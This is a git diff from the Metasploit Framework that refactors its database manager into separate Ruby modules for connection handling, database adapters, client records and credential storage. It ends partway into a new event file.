a/lib/msf/core/db_import_error.rb b/lib/msf/core/db_import_error.rb new file mode 100644 index 0000000000..bd65bf902e --- /dev/null +++ b/lib/msf/core/db_import_error.rb @@ -0,0 +1,2 @@ +class Msf::DBImportError < RuntimeError +end diff --git a/lib/msf/core/db_manager.rb b/lib/msf/core/db_manager.rb index 52d3eac6d5..2c2d55b73a 100644 --- a/lib/msf/core/db_manager.rb +++ b/lib/msf/core/db_manager.rb @@ -1,64 +1,107 @@ # -*- coding: binary -*- +# +# Gems +# + +require 'rex/socket' + +# +# Project +# + +require 'metasploit/framework/require' require 'msf/base/config' require 'msf/core' -require 'msf/core/db' -require 'msf/core/db_manager/migration' -require 'msf/core/task_manager' -require 'fileutils' -require 'shellwords' +require 'msf/core/database_event' +require 'msf/core/db_import_error' +require 'msf/core/host_state' +require 'msf/core/service_state' -module Msf - -### -# # The db module provides persistent storage and events. This class should be instantiated LAST # as the active_suppport library overrides Kernel.require, slowing down all future code loads. -# -### +class Msf::DBManager + extend Metasploit::Framework::Require -class DBManager - # Provides :framework and other accessors + autoload :Adapter, 'msf/core/db_manager/adapter' + autoload :Client, 'msf/core/db_manager/client' + autoload :Connection, 'msf/core/db_manager/connection' + autoload :Cred, 'msf/core/db_manager/cred' + autoload :Event, 'msf/core/db_manager/event' + autoload :ExploitAttempt, 'msf/core/db_manager/exploit_attempt' + autoload :ExploitedHost, 'msf/core/db_manager/exploited_host' + autoload :Host, 'msf/core/db_manager/host' + autoload :HostDetail, 'msf/core/db_manager/host_detail' + autoload :HostTag, 'msf/core/db_manager/host_tag' + autoload :Import, 'msf/core/db_manager/import' + autoload :ImportMsfXml, 'msf/core/db_manager/import_msf_xml' + autoload :IPAddress, 'msf/core/db_manager/ip_address' + autoload :Loot, 'msf/core/db_manager/loot' + autoload :Migration, 'msf/core/db_manager/migration' + autoload :ModuleCache, 'msf/core/db_manager/module_cache' + autoload :Note, 'msf/core/db_manager/note' + autoload :Ref, 'msf/core/db_manager/ref' + autoload :Report, 'msf/core/db_manager/report' + autoload :Route, 'msf/core/db_manager/route' + autoload :Service, 'msf/core/db_manager/service' + autoload :Session, 'msf/core/db_manager/session' + autoload :SessionEvent, 'msf/core/db_manager/session_event' + autoload :Task, 'msf/core/db_manager/task' + autoload :Vuln, 'msf/core/db_manager/vuln' + autoload :VulnAttempt, 'msf/core/db_manager/vuln_attempt' + autoload :VulnDetail, 'msf/core/db_manager/vuln_detail' + autoload :WMAP, 'msf/core/db_manager/wmap' + autoload :Web, 'msf/core/db_manager/web' + autoload :Workspace, 'msf/core/db_manager/workspace' + + optionally_include_metasploit_credential_creation + + include Msf::DBManager::Adapter + include Msf::DBManager::Client + include Msf::DBManager::Connection + include Msf::DBManager::Cred + include Msf::DBManager::Event + include Msf::DBManager::ExploitAttempt + include Msf::DBManager::ExploitedHost + include Msf::DBManager::Host + include Msf::DBManager::HostDetail + include Msf::DBManager::HostTag + include Msf::DBManager::Import + include Msf::DBManager::IPAddress + include Msf::DBManager::Loot include Msf::DBManager::Migration + include Msf::DBManager::ModuleCache + include Msf::DBManager::Note + include Msf::DBManager::Ref + include Msf::DBManager::Report + include Msf::DBManager::Route + include Msf::DBManager::Service + include Msf::DBManager::Session + include Msf::DBManager::SessionEvent + include Msf::DBManager::Task + include Msf::DBManager::Vuln + include Msf::DBManager::VulnAttempt + include Msf::DBManager::VulnDetail + include Msf::DBManager::WMAP + include Msf::DBManager::Web + include Msf::DBManager::Workspace + + # Provides :framework and other accessors include Msf::Framework::Offspring - # Mainly, it's Ruby 1.9.1 that cause a lot of problems now, along with Ruby 1.8.6. - # Ruby 1.8.7 actually seems okay, but why tempt fate? Let's say 1.9.3 and beyond. - def warn_about_rubies - if ::RUBY_VERSION =~ /^1\.9\.[012]($|[^\d])/ - $stderr.puts "**************************************************************************************" - $stderr.puts "Metasploit requires at least Ruby 1.9.3. For an easy upgrade path, see https://rvm.io/" - $stderr.puts "**************************************************************************************" - end - end - - # Returns true if we are ready to load/store data - def active - return false if not @usable - # We have established a connection, some connection is active, and we have run migrations - (ActiveRecord::Base.connected? && ActiveRecord::Base.connection_pool.connected? && migrated)# rescue false - end - - # Returns true if the prerequisites have been installed - attr_accessor :usable - - # Returns the list of usable database drivers - attr_accessor :drivers - - # Returns the active driver - attr_accessor :driver + # + # Attributes + # # Stores the error message for why the db was not loaded attr_accessor :error - # Stores a TaskManager for serializing database events - attr_accessor :sink + # Returns true if the prerequisites have been installed + attr_accessor :usable - # Flag to indicate that modules are cached - attr_accessor :modules_cached - - # Flag to indicate that the module cacher is running - attr_accessor :modules_caching + # + # iniitialize + # def initialize(framework, opts = {}) @@ -78,6 +121,19 @@ class DBManager initialize_database_support end + # + # Instance Methods + # + + # + # Determines if the database is functional + # + def check + ::ActiveRecord::Base.connection_pool.with_connection { + res = ::Mdm::Host.first + } + end + # # Do what is necessary to load our database support # @@ -86,9 +142,7 @@ class DBManager # Database drivers can reset our KCODE, do not let them $KCODE = 'NONE' if RUBY_VERSION =~ /^1\.8\./ - require "active_record" - - initialize_metasploit_data_models + add_rails_engine_migration_paths @usable = true @@ -98,591 +152,21 @@ class DBManager return false end - # Only include Mdm if we're not using Metasploit commercial versions - # If Mdm::Host is defined, the dynamically created classes - # are already in the object space - begin - unless defined? Mdm::Host - MetasploitDataModels.require_models - end - rescue NameError => e - warn_about_rubies - raise e - end - # # Determine what drivers are available # - initialize_drivers - - # - # Instantiate the database sink - # - initialize_sink + initialize_adapter true end - # - # Scan through available drivers - # - def initialize_drivers - self.drivers = [] - tdrivers = %W{ postgresql } - tdrivers.each do |driver| - begin - ActiveRecord::Base.default_timezone = :utc - ActiveRecord::Base.establish_connection(:adapter => driver) - if(self.respond_to?("driver_check_#{driver}")) - self.send("driver_check_#{driver}") - end - ActiveRecord::Base.remove_connection - self.drivers << driver - rescue ::Exception - end - end - - if(not self.drivers.empty?) - self.driver = self.drivers[0] - end - - # Database drivers can reset our KCODE, do not let them - $KCODE = 'NONE' if RUBY_VERSION =~ /^1\.8\./ - end - - # Loads Metasploit Data Models and adds its migrations to migrations paths. - # - # @return [void] - def initialize_metasploit_data_models - # Provide access to ActiveRecord models shared w/ commercial versions - require "metasploit_data_models" - - metasploit_data_model_migrations_pathname = MetasploitDataModels.root.join( - 'db', - 'migrate' - ) - metasploit_data_model_migrations_path = metasploit_data_model_migrations_pathname.to_s - - # Since ActiveRecord::Migrator.migrations_paths can persist between - # instances of Msf::DBManager, such as in specs, - # metasploit_data_models_migrations_path may already be part of - # migrations_paths, in which case it should not be added or multiple - # migrations with the same version number errors will occur. - unless ActiveRecord::Migrator.migrations_paths.include? metasploit_data_model_migrations_path - ActiveRecord::Migrator.migrations_paths << metasploit_data_model_migrations_path + # Mainly, it's Ruby 1.9.1 that cause a lot of problems now, along with Ruby 1.8.6. + # Ruby 1.8.7 actually seems okay, but why tempt fate? Let's say 1.9.3 and beyond. + def warn_about_rubies + if ::RUBY_VERSION =~ /^1\.9\.[012]($|[^\d])/ + $stderr.puts "**************************************************************************************" + $stderr.puts "Metasploit requires at least Ruby 1.9.3. For an easy upgrade path, see https://rvm.io/" + $stderr.puts "**************************************************************************************" end end - - # - # Create a new database sink and initialize it - # - def initialize_sink - self.sink = TaskManager.new(framework) - self.sink.start - end - - # - # Add a new task to the sink - # - def queue(proc) - self.sink.queue_proc(proc) - end - - # - # Connects this instance to a database - # - def connect(opts={}) - - return false if not @usable - - nopts = opts.dup - if (nopts['port']) - nopts['port'] = nopts['port'].to_i - end - - # Prefer the config file's pool setting - nopts['pool'] ||= 75 - - # Prefer the config file's wait_timeout setting too - nopts['wait_timeout'] ||= 300 - - begin - self.migrated = false - create_db(nopts) - - # Configure the database adapter - ActiveRecord::Base.establish_connection(nopts) - - # Migrate the database, if needed - migrate - - # Set the default workspace - framework.db.workspace = framework.db.default_workspace - - # Flag that migration has completed - self.migrated = true - rescue ::Exception => e - self.error = e - elog("DB.connect threw an exception: #{e}") - dlog("Call stack: #{$@.join"\n"}", LEV_1) - return false - ensure - # Database drivers can reset our KCODE, do not let them - $KCODE = 'NONE' if RUBY_VERSION =~ /^1\.8\./ - end - - true - end - - # - # Attempt to create the database - # - # If the database already exists this will fail and we will continue on our - # merry way, connecting anyway. If it doesn't, we try to create it. If - # that fails, then it wasn't meant to be and the connect will raise a - # useful exception so the user won't be in the dark; no need to raise - # anything at all here. - # - def create_db(opts) - begin - case opts["adapter"] - when 'postgresql' - # Try to force a connection to be made to the database, if it succeeds - # then we know we don't need to create it :) - ActiveRecord::Base.establish_connection(opts) - # Do the checkout, checkin dance here to make sure this thread doesn't - # hold on to a connection we don't need - conn = ActiveRecord::Base.connection_pool.checkout - ActiveRecord::Base.connection_pool.checkin(conn) - end - rescue ::Exception => e - errstr = e.to_s - if errstr =~ /does not exist/i or errstr =~ /Unknown database/ - ilog("Database doesn't exist \"#{opts['database']}\", attempting to create it.") - ActiveRecord::Base.establish_connection(opts.merge('database' => nil)) - ActiveRecord::Base.connection.create_database(opts['database']) - else - ilog("Trying to continue despite failed database creation: #{e}") - end - end - ActiveRecord::Base.remove_connection - end - - # - # Disconnects a database session - # - def disconnect - begin - ActiveRecord::Base.remove_connection - self.migrated = false - self.modules_cached = false - rescue ::Exception => e - self.error = e - elog("DB.disconnect threw an exception: #{e}") - ensure - # Database drivers can reset our KCODE, do not let them - $KCODE = 'NONE' if RUBY_VERSION =~ /^1\.8\./ - end - end - - def workspace=(workspace) - @workspace_name = workspace.name - end - - def workspace - framework.db.find_workspace(@workspace_name) - end - - - # @note Does nothing unless {#migrated} is +true+ and {#modules_caching} is - # +false+. - # - # Destroys all Mdm::Module::Details in the database. - # - # @return [void] - def purge_all_module_details - return if not self.migrated - return if self.modules_caching - - ::ActiveRecord::Base.connection_pool.with_connection do - Mdm::Module::Detail.destroy_all - end - end - - # Destroys the old Mdm::Module::Detail and creates a new Mdm::Module::Detail for - # any module with an Mdm::Module::Detail where the modification time of the - # Mdm::Module::Detail#file differs from the Mdm::Module::Detail#mtime. If the - # Mdm::Module::Detail#file no only exists on disk, then the Mdm::Module::Detail - # is just destroyed without a new one being created. - # - # @return [void] - def update_all_module_details - return if not self.migrated - return if self.modules_caching - - self.framework.cache_thread = Thread.current - - self.modules_cached = false - self.modules_caching = true - - ActiveRecord::Base.connection_pool.with_connection do - - refresh = [] - skipped = [] - - Mdm::Module::Detail.find_each do |md| - - unless md.ready - refresh << md - next - end - - unless md.file and ::File.exists?(md.file) - refresh << md - next - end - - if ::File.mtime(md.file).to_i != md.mtime.to_i - refresh << md - next - end - - skipped << [md.mtype, md.refname] - end - - refresh.each { |md| md.destroy } - - [ - ['exploit', framework.exploits], - ['auxiliary', framework.auxiliary], - ['post', framework.post], - ['payload', framework.payloads], - ['encoder', framework.encoders], - ['nop', framework.nops] - ].each do |mt| - mt[1].keys.sort.each do |mn| - next if skipped.include?([mt[0], mn]) - obj = mt[1].create(mn) - next if not obj - begin - update_module_details(obj) - rescue ::Exception - elog("Error updating module details for #{obj.fullname}: #{$!.class} #{$!}") - end - end - end - - self.framework.cache_initialized = true - end - - # in reverse order of section before with_connection block - self.modules_caching = false - self.modules_cached = true - self.framework.cache_thread = nil - end - - # Creates an Mdm::Module::Detail from a module instance. - # - # @param module_instance [Msf::Module] a metasploit module instance. - # @raise [ActiveRecord::RecordInvalid] if Hash from {#module_to_details_hash} is invalid attributes for - # Mdm::Module::Detail. - # @return [void] - def update_module_details(module_instance) - return if not self.migrated - - ActiveRecord::Base.connection_pool.with_connection do - info = module_to_details_hash(module_instance) - bits = info.delete(:bits) || [] - module_detail = Mdm::Module::Detail.create!(info) - - bits.each do |args| - otype, vals = args - - case otype - when :action - module_detail.add_action(vals[:name]) - when :arch - module_detail.add_arch(vals[:name]) - when :author - module_detail.add_author(vals[:name], vals[:email]) - when :platform - module_detail.add_platform(vals[:name]) - when :ref - module_detail.add_ref(vals[:name]) - when :target - module_detail.add_target(vals[:index], vals[:name]) - end - end - - module_detail.ready = true - module_detail.save! - end - end - - # Destroys Mdm::Module::Detail if one exists for the given - # Mdm::Module::Detail#mtype and Mdm::Module::Detail#refname. - # - # @param mtype [String] module type. - # @param refname [String] module reference name. - # @return [void] - def remove_module_details(mtype, refname) - return if not self.migrated - - ActiveRecord::Base.connection_pool.with_connection do - Mdm::Module::Detail.where(:mtype => mtype, :refname => refname).destroy_all - end - end - - def module_to_details_hash(m) - res = {} - bits = [] - - res[:mtime] = ::File.mtime(m.file_path) rescue Time.now - res[:file] = m.file_path - res[:mtype] = m.type - res[:name] = m.name.to_s - res[:refname] = m.refname - res[:fullname] = m.fullname - res[:rank] = m.rank.to_i - res[:license] = m.license.to_s - - res[:description] = m.description.to_s.strip - - m.arch.map{ |x| - bits << [ :arch, { :name => x.to_s } ] - } - - m.platform.platforms.map{ |x| - bits << [ :platform, { :name => x.to_s.split('::').last.downcase } ] - } - - m.author.map{|x| - bits << [ :author, { :name => x.to_s } ] - } - - m.references.map do |r| - bits << [ :ref, { :name => [r.ctx_id.to_s, r.ctx_val.to_s].join("-") } ] - end - - res[:privileged] = m.privileged? - - - if m.disclosure_date - begin - res[:disclosure_date] = m.disclosure_date.to_datetime.to_time - rescue ::Exception - res.delete(:disclosure_date) - end - end - - if(m.type == "exploit") - - m.targets.each_index do |i| - bits << [ :target, { :index => i, :name => m.targets[i].name.to_s } ] - if m.targets[i].platform - m.targets[i].platform.platforms.each do |name| - bits << [ :platform, { :name => name.to_s.split('::').last.downcase } ] - end - end - if m.targets[i].arch - bits << [ :arch, { :name => m.targets[i].arch.to_s } ] - end - end - - if (m.default_target) - res[:default_target] = m.default_target - end - - # Some modules are a combination, which means they are actually aggressive - res[:stance] = m.stance.to_s.index("aggressive") ? "aggressive" : "passive" - - - m.class.mixins.each do |x| - bits << [ :mixin, { :name => x.to_s } ] - end - end - - if(m.type == "auxiliary") - - m.actions.each_index do |i| - bits << [ :action, { :name => m.actions[i].name.to_s } ] - end - - if (m.default_action) - res[:default_action] = m.default_action.to_s - end - - res[:stance] = m.passive? ? "passive" : "aggressive" - end - - res[:bits] = bits.uniq - - res - end - - # Wraps values in +'%'+ for Arel::Prediciation#matches_any and other match* methods that map to SQL +'LIKE'+ or - # +'ILIKE'+ - # - # @param values [Set<String>, #each] a list of strings. - # @return [Arrray<String>] strings wrapped like %<string>% - def match_values(values) - wrapped_values = values.collect { |value| - "%#{value}%" - } - - wrapped_values - end - - # This provides a standard set of search filters for every module. - # - # Supported keywords with the format <keyword>:<search_value>: - # +app+:: If +client+ then matches +'passive'+ stance modules, otherwise matches +'active' stance modules. - # +author+:: Matches modules with the given author email or name. - # +bid+:: Matches modules with the given Bugtraq ID. - # +cve+:: Matches modules with the given CVE ID. - # +edb+:: Matches modules with the given Exploit-DB ID. - # +name+:: Matches modules with the given full name or name. - # +os+, +platform+:: Matches modules with the given platform or target name. - # +osvdb+:: Matches modules with the given OSVDB ID. - # +ref+:: Matches modules with the given reference ID. - # +type+:: Matches modules with the given type. - # - # Any text not associated with a keyword is matched against the description, - # the full name, and the name of the module; the name of the module actions; - # the name of the module archs; the name of the module authors; the name of - # module platform; the module refs; or the module target. - # - # @param search_string [String] a string of space separated keyword pairs or - # free form text. - # @return [[]] if search_string is +nil+ - # @return [ActiveRecord::Relation] module details that matched - # +search_string+ - def search_modules(search_string) - search_string ||= '' - search_string += " " - - # Split search terms by space, but allow quoted strings - terms = Shellwords.shellwords(search_string) - terms.delete('') - - # All terms are either included or excluded - value_set_by_keyword = Hash.new { |hash, keyword| - hash[keyword] = Set.new - } - - terms.each do |term| - keyword, value = term.split(':', 2) - - unless value - value = keyword - keyword = 'text' - end - - unless value.empty? - keyword.downcase! - - value_set = value_set_by_keyword[keyword] - value_set.add value - end - end - - query = Mdm::Module::Detail.scoped - - ActiveRecord::Base.connection_pool.with_connection do - # Although AREL supports taking the union or two queries, the ActiveRecord where syntax only supports - # intersection, so creating the where clause has to be delayed until all conditions can be or'd together and - # passed to one call ot where. - union_conditions = [] - - value_set_by_keyword.each do |keyword, value_set| - case keyword - when 'author' - formatted_values = match_values(value_set) - - query = query.includes(:authors) - module_authors = Mdm::Module::Author.arel_table - union_conditions << module_authors[:email].matches_any(formatted_values) - union_conditions << module_authors[:name].matches_any(formatted_values) - when 'name' - formatted_values = match_values(value_set) - - module_details = Mdm::Module::Detail.arel_table - union_conditions << module_details[:fullname].matches_any(formatted_values) - union_conditions << module_details[:name].matches_any(formatted_values) - when 'os', 'platform' - formatted_values = match_values(value_set) - - query = query.includes(:platforms) - union_conditions << Mdm::Module::Platform.arel_table[:name].matches_any(formatted_values) - - query = query.includes(:targets) - union_conditions << Mdm::Module::Target.arel_table[:name].matches_any(formatted_values) - when 'text' - formatted_values = match_values(value_set) - - module_details = Mdm::Module::Detail.arel_table - union_conditions << module_details[:description].matches_any(formatted_values) - union_conditions << module_details[:fullname].matches_any(formatted_values) - union_conditions << module_details[:name].matches_any(formatted_values) - - query = query.includes(:actions) - union_conditions << Mdm::Module::Action.arel_table[:name].matches_any(formatted_values) - - query = query.includes(:archs) - union_conditions << Mdm::Module::Arch.arel_table[:name].matches_any(formatted_values) - - query = query.includes(:authors) - union_conditions << Mdm::Module::Author.arel_table[:name].matches_any(formatted_values) - - query = query.includes(:platforms) - union_conditions << Mdm::Module::Platform.arel_table[:name].matches_any(formatted_values) - - query = query.includes(:refs) - union_conditions << Mdm::Module::Ref.arel_table[:name].matches_any(formatted_values) - - query = query.includes(:targets) - union_conditions << Mdm::Module::Target.arel_table[:name].matches_any(formatted_values) - when 'type' - formatted_values = match_values(value_set) - union_conditions << Mdm::Module::Detail.arel_table[:mtype].matches_any(formatted_values) - when 'app' - formatted_values = value_set.collect { |value| - formatted_value = 'aggressive' - - if value == 'client' - formatted_value = 'passive' - end - - formatted_value - } - - union_conditions << Mdm::Module::Detail.arel_table[:stance].eq_any(formatted_values) - when 'ref' - formatted_values = match_values(value_set) - - query = query.includes(:refs) - union_conditions << Mdm::Module::Ref.arel_table[:name].matches_any(formatted_values) - when 'cve', 'bid', 'osvdb', 'edb' - formatted_values = value_set.collect { |value| - prefix = keyword.upcase - - "#{prefix}-%#{value}%" - } - - query = query.includes(:refs) - union_conditions << Mdm::Module::Ref.arel_table[:name].matches_any(formatted_values) - end - end - - unioned_conditions = union_conditions.inject { |union, condition| - union.or(condition) - } - - query = query.where(unioned_conditions).uniq - end - - query - end - -end end diff --git a/lib/msf/core/db_manager/adapter.rb b/lib/msf/core/db_manager/adapter.rb new file mode 100644 index 0000000000..df82af9159 --- /dev/null +++ b/lib/msf/core/db_manager/adapter.rb @@ -0,0 +1,48 @@ +module Msf::DBManager::Adapter + # + # CONSTANTS + # + + # The adapter to use to establish database connection. + ADAPTER = 'postgresql' + + # + # Attributes + # + + # Returns the list of usable database drivers + def drivers + @drivers ||= [] + end + attr_writer :drivers + + # Returns the active driver + attr_accessor :driver + + # + # Instance Methods + # + + # + # Scan through available drivers + # + def initialize_adapter + ActiveRecord::Base.default_timezone = :utc + + if connection_established? && ActiveRecord::Base.connection_config[:adapter] == ADAPTER + dlog("Already established connection to #{ADAPTER}, so reusing active connection.") + self.drivers << ADAPTER + self.driver = ADAPTER + else + begin + ActiveRecord::Base.establish_connection(adapter: ADAPTER) + ActiveRecord::Base.remove_connection + rescue Exception => error + @adapter_error = error + else + self.drivers << ADAPTER + self.driver = ADAPTER + end + end + end +end diff --git a/lib/msf/core/db_manager/client.rb b/lib/msf/core/db_manager/client.rb new file mode 100644 index 0000000000..9d09304906 --- /dev/null +++ b/lib/msf/core/db_manager/client.rb @@ -0,0 +1,66 @@ +module Msf::DBManager::Client + def find_or_create_client(opts) + report_client(opts) + end + + def get_client(opts) + ::ActiveRecord::Base.connection_pool.with_connection { + wspace = opts.delete(:workspace) || workspace + host = get_host(:workspace => wspace, :host => opts[:host]) || return + client = host.clients.where({:ua_string => opts[:ua_string]}).first() + return client + } + end + + # + # Report a client running on a host. + # + # opts MUST contain + # +:ua_string+:: the value of the User-Agent header + # +:host+:: the host where this client connected from, can be an ip address or a Host object + # + # opts can contain + # +:ua_name+:: one of the Msf::HttpClients constants + # +:ua_ver+:: detected version of the given client + # +:campaign+:: an id or Campaign object + # + # Returns a Client. + # + def report_client(opts) + return if not active + ::ActiveRecord::Base.connection_pool.with_connection { + addr = opts.delete(:host) || return + wspace = opts.delete(:workspace) || workspace + report_host(:workspace => wspace, :host => addr) + + ret = {} + + host = get_host(:workspace => wspace, :host => addr) + client = host.clients.where(ua_string: opts[:ua_string]).first_or_initialize + + opts[:ua_string] = opts[:ua_string].to_s + + campaign = opts.delete(:campaign) + if campaign + case campaign + when Campaign + opts[:campaign_id] = campaign.id + else + opts[:campaign_id] = campaign + end + end + + opts.each { |k,v| + if (client.attribute_names.include?(k.to_s)) + client[k] = v + else + dlog("Unknown attribute for Client: #{k}") + end + } + if (client and client.changed?) + client.save! + end + ret[:client] = client + } + end +end diff --git a/lib/msf/core/db_manager/connection.rb b/lib/msf/core/db_manager/connection.rb new file mode 100644 index 0000000000..171edb22c2 --- /dev/null +++ b/lib/msf/core/db_manager/connection.rb @@ -0,0 +1,149 @@ +module Msf::DBManager::Connection + # Returns true if we are ready to load/store data + def active + # usable and migrated a just Boolean attributes, so check those first because they don't actually contact the + # database. + usable && migrated && connection_established? + end + + # Finishes {#connect} after `ActiveRecord::Base.establish_connection` has succeeded by {#migrate migrating database} + # and setting {#workspace}. + # + # @return [void] + def after_establish_connection + self.migrated = false + + begin + # Migrate the database, if needed + migrate + + # Set the default workspace + framework.db.workspace = framework.db.default_workspace + rescue ::Exception => exception + self.error = exception + elog("DB.connect threw an exception: #{exception}") + dlog("Call stack: #{exception.backtrace.join("\n")}", LEV_1) + else + # Flag that migration has completed + self.migrated = true + end + end + + # + # Connects this instance to a database + # + def connect(opts={}) + + return false if not @usable + + nopts = opts.dup + if (nopts['port']) + nopts['port'] = nopts['port'].to_i + end + + # Prefer the config file's pool setting + nopts['pool'] ||= 75 + + # Prefer the config file's wait_timeout setting too + nopts['wait_timeout'] ||= 300 + + begin + self.migrated = false + + # Check ActiveRecord::Base was already connected by Rails::Application.initialize! or some other API. + unless connection_established? + create_db(nopts) + + # Configure the database adapter + ActiveRecord::Base.establish_connection(nopts) + end + rescue ::Exception => e + self.error = e + elog("DB.connect threw an exception: #{e}") + dlog("Call stack: #{$@.join"\n"}", LEV_1) + return false + ensure + after_establish_connection + + # Database drivers can reset our KCODE, do not let them + $KCODE = 'NONE' if RUBY_VERSION =~ /^1\.8\./ + end + + true + end + + + # + # Attempt to create the database + # + # If the database already exists this will fail and we will continue on our + # merry way, connecting anyway. If it doesn't, we try to create it. If + # that fails, then it wasn't meant to be and the connect will raise a + # useful exception so the user won't be in the dark; no need to raise + # anything at all here. + # + def create_db(opts) + begin + case opts["adapter"] + when 'postgresql' + # Try to force a connection to be made to the database, if it succeeds + # then we know we don't need to create it :) + ActiveRecord::Base.establish_connection(opts) + # Do the checkout, checkin dance here to make sure this thread doesn't + # hold on to a connection we don't need + conn = ActiveRecord::Base.connection_pool.checkout + ActiveRecord::Base.connection_pool.checkin(conn) + end + rescue ::Exception => e + errstr = e.to_s + if errstr =~ /does not exist/i or errstr =~ /Unknown database/ + ilog("Database doesn't exist \"#{opts['database']}\", attempting to create it.") + ActiveRecord::Base.establish_connection( + opts.merge( + 'database' => 'postgres', + 'schema_search_path' => 'public' + ) + ) + + ActiveRecord::Base.connection.create_database(opts['database']) + else + ilog("Trying to continue despite failed database creation: #{e}") + end + end + ActiveRecord::Base.remove_connection + end + + # Checks if the spec passed to `ActiveRecord::Base.establish_connection` can connect to the database. + # + # @return [true] if an active connection can be made to the database using the current config. + # @return [false] if an active connection cannot be made to the database. + def connection_established? + begin + # use with_connection so the connection doesn't stay pinned to the thread. + ActiveRecord::Base.connection_pool.with_connection { + ActiveRecord::Base.connection.active? + } + rescue ActiveRecord::ConnectionNotEstablished, PG::ConnectionBad => error + elog("Connection not established: #{error.class} #{error}:\n#{error.backtrace.join("\n")}") + + false + end + end + + # + # Disconnects a database session + # + def disconnect + begin + ActiveRecord::Base.remove_connection + self.migrated = false + self.modules_cached = false + rescue ::Exception => e + self.error = e + elog("DB.disconnect threw an exception: #{e}") + ensure + # Database drivers can reset our KCODE, do not let them + $KCODE = 'NONE' if RUBY_VERSION =~ /^1\.8\./ + end + end +end diff --git a/lib/msf/core/db_manager/cred.rb b/lib/msf/core/db_manager/cred.rb new file mode 100644 index 0000000000..640fba9a70 --- /dev/null +++ b/lib/msf/core/db_manager/cred.rb @@ -0,0 +1,180 @@ +module Msf::DBManager::Cred + # This methods returns a list of all credentials in the database + def creds(wspace=workspace) + ::ActiveRecord::Base.connection_pool.with_connection { + Mdm::Cred.includes({:service => :host}).where("hosts.workspace_id = ?", wspace.id) + } + end + + # This method iterates the creds table calling the supplied block with the + # cred instance of each entry. + def each_cred(wspace=workspace,&block) + ::ActiveRecord::Base.connection_pool.with_connection { + wspace.creds.each do |cred| + block.call(cred) + end + } + end + + # Find or create a credential matching this type/data + def find_or_create_cred(opts) + report_auth_info(opts) + end + + # + # Store a set of credentials in the database. + # + # report_auth_info used to create a note, now it creates + # an entry in the creds table. It's much more akin to + # report_vuln() now. + # + # opts MUST contain + # +:host+:: an IP address or Host object reference + # +:port+:: a port number + # + # opts can contain + # +:user+:: the username + # +:pass+:: the password, or path to ssh_key + # +:ptype+:: the type of password (password(ish), hash, or ssh_key) + # +:proto+:: a transport name for the port + # +:sname+:: service name + # +:active+:: by default, a cred is active, unless explicitly false + # +:proof+:: data used to prove the account is actually active. + # + # Sources: Credentials can be sourced from another credential, or from + # a vulnerability. For example, if an exploit was used to dump the + # smb_hashes, and this credential comes from there, the source_id would + # be the Vuln id (as reported by report_vuln) and the type would be "Vuln". + # + # +:source_id+:: The Vuln or Cred id of the source of this cred. + # +:source_type+:: Either Vuln or Cred + # + # TODO: This is written somewhat host-centric, when really the + # Service is the thing. Need to revisit someday. + def report_auth_info(opts={}) + return if not active + raise ArgumentError.new("Missing required option :host") if opts[:host].nil? + raise ArgumentError.new("Missing required option :port") if (opts[:port].nil? and opts[:service].nil?) + + if (not opts[:host].kind_of?(::Mdm::Host)) and (not validate_ips(opts[:host])) + raise ArgumentError.new("Invalid address or object for :host (#{opts[:host].inspect})") + end + + ::ActiveRecord::Base.connection_pool.with_connection { + host = opts.delete(:host) + ptype = opts.delete(:type) || "password" + token = [opts.delete(:user), opts.delete(:pass)] + sname = opts.delete(:sname) + port = opts.delete(:port) + proto = opts.delete(:proto) || "tcp" + proof = opts.delete(:proof) + source_id = opts.delete(:source_id) + source_type = opts.delete(:source_type) + duplicate_ok = opts.delete(:duplicate_ok) + # Nil is true for active. + active = (opts[:active] || opts[:active].nil?) ? true : false + + wspace = opts.delete(:workspace) || workspace + + # Service management; assume the user knows what + # he's talking about. + service = opts.delete(:service) || report_service(:host => host, :port => port, :proto => proto, :name => sname, :workspace => wspace) + + # Non-US-ASCII usernames are tripping up the database at the moment, this is a temporary fix until we update the tables + if (token[0]) + # convert the token to US-ASCII from UTF-8 to prevent an error + token[0] = token[0].unpack("C*").pack("C*") + token[0] = token[0].gsub(/[\x00-\x1f\x7f-\xff]/n){|m| "\\x%.2x" % m.unpack("C")[0] } + end + + if (token[1]) + token[1] = token[1].unpack("C*").pack("C*") + token[1] = token[1].gsub(/[\x00-\x1f\x7f-\xff]/n){|m| "\\x%.2x" % m.unpack("C")[0] } + end + + ret = {} + + # Check to see if the creds already exist. We look also for a downcased username with the + # same password because we can fairly safely assume they are not in fact two seperate creds. + # this allows us to hedge against duplication of creds in the DB. + + if duplicate_ok + # If duplicate usernames are okay, find by both user and password (allows + # for actual duplicates to get modified updated_at, sources, etc) + if token[0].nil? or token[0].empty? + cred = service.creds.where(user: token[0] || "", ptype: ptype, pass: token[1] || "").first_or_initialize + else + cred = service.creds.find_by_user_and_ptype_and_pass(token[0] || "", ptype, token[1] || "") + unless cred + dcu = token[0].downcase + cred = service.creds.find_by_user_and_ptype_and_pass( dcu || "", ptype, token[1] || "") + unless cred + cred = service.creds.where(user: token[0] || "", ptype: ptype, pass: token[1] || "").first_or_initialize + end + end + end + else + # Create the cred by username only (so we can change passwords) + if token[0].nil? or token[0].empty? + cred = service.creds.where(user: token[0] || "", ptype: ptype).first_or_initialize + else + cred = service.creds.find_by_user_and_ptype(token[0] || "", ptype) + unless cred + dcu = token[0].downcase + cred = service.creds.find_by_user_and_ptype_and_pass( dcu || "", ptype, token[1] || "") + unless cred + cred = service.creds.where(user: token[0] || "", ptype: ptype).first_or_initialize + end + end + end + end + + # Update with the password + cred.pass = (token[1] || "") + + # Annotate the credential + cred.ptype = ptype + cred.active = active + + # Update the source ID only if there wasn't already one. + if source_id and !cred.source_id + cred.source_id = source_id + cred.source_type = source_type if source_type + end + + # Safe proof (lazy way) -- doesn't chop expanded + # characters correctly, but shouldn't ever be a problem. + unless proof.nil? + proof = Rex::Text.to_hex_ascii(proof) + proof = proof[0,4096] + end + cred.proof = proof + + # Update the timestamp + if cred.changed? + msf_import_timestamps(opts,cred) + cred.save! + end + + # Ensure the updated_at is touched any time report_auth_info is called + # except when it's set explicitly (as it is for imports) + unless opts[:updated_at] || opts["updated_at"] + cred.updated_at = Time.now.utc + cred.save! + end + + + if opts[:task] + Mdm::TaskCred.create( + :task => opts[:task], + :cred => cred + ) + end + + ret[:cred] = cred + } + end + + alias :report_auth :report_auth_info + alias :report_cred :report_auth_info +end \ No newline at end of file diff --git a/lib/msf/core/db_manager/event.rb b/lib/msf/core/db_manager/event.rb new file mode 100644 index 0000000000..1f92930ad6 --- /dev/null +++ b/lib/msf/core/db_manager/event.rb @@ -0,0 